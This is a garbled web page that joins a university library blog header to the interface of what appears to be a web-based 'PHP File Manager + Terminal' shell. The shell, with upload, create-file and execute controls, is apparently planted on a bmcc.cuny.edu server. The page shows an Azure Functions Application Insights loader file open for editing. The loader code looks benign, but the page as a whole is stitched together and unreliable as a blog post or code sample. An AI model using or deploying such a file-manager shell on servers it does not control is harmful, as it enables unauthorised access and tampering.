Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //agents/nodejs/src Upload Create File Create Folder Execute Editing: /agents/nodejs/src/azureFnLoader.tsimport { AgentLogger } from 'applicationinsights/out/Bootstrap/DataModel'; const Config = require('applicationinsights/out/Library/Config'); import { BaseLoader } from './baseLoader'; import { DiagnosticLogger } from 'applicationinsights/out/Bootstrap/DiagnosticLogger'; import { AzureFunctionsWriter } from './azureFnWriter'; import { ConsoleWriter } from './consoleWriter'; import { AgentResourceProviderType } from './types'; const defaultConfig = new Config(); // Will read env variables, expose for Agent initialization const iKey = defaultConfig.instrumentationKey || 'unknown'; const isWindows = process.platform === 'win32'; // INITIALIZE LOADER let appInsights = new BaseLoader(iKey); // INITIALIZE LOGGERS let statusWriter: AgentLogger = new ConsoleWriter(); let diagnosticLogger = new DiagnosticLogger( new AzureFunctionsWriter(iKey), iKey ); appInsights.initializeDiagnostics(statusWriter, diagnosticLogger); appInsights.initializeSdk(true); export = appInsights; Save